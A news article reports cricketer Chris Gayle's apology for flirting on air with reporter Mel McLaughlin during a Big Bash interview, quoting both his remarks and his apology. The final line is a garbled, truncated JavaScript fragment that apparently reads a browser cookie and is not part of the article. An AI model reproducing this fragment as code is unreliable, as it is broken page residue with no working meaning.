HOBART, AUSTRALIA - JANUARY 04: Chris Gayle of the Melbourne Renegades acknowledges the fans after a scoring 41 runs off just 15 balls during the Big Bash League match between the Hobart Hurricanes and the Melbourne Renegades at Blundstone Arena on January 4, 2016 in Hobart, Australia. (Photo by Darrian Traynor/Getty Images)
Chris Gayle has made a short public apology at Melbourne Airport following his controversial comments to Channel 10 Big Bash reporter Mel McLaughlin last night.
"The media is here today to join us and a lot of things I have actually cleared up from a simple comment, a simple joke," Gayle said.
"It seemed to be blown out of proportion.
"There wasn't anything meant to be disrespectful or offensive to Mel. If she felt that way, I'm really sorry for that.
"There wasn't any harm meant in that particular way...It was a simple joke.
"I didn't get a chance to [apologise to Mel McLaughlin]. I tried to reach out to her last night but it didn't happen."
After being dismissed for 41 off 15 balls last night, Gayle was interviewed by sports reporter Mel McLaughlin on the sidelines when he flirted with with the female presenter, dividing social media.
“I wanted to have an interview with you as well, that’s why I’m here,” Gayle said to McLaughlin.
“I get to see your eyes for the first time, it’s nice. Hopefully we can win and go for a drink after.
“Don’t blush baby.”
McLaughlin, clearly annoyed and uncomfortable at the comments, responded by saying, "I'm not blushing," before finishing the interview with class. "(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}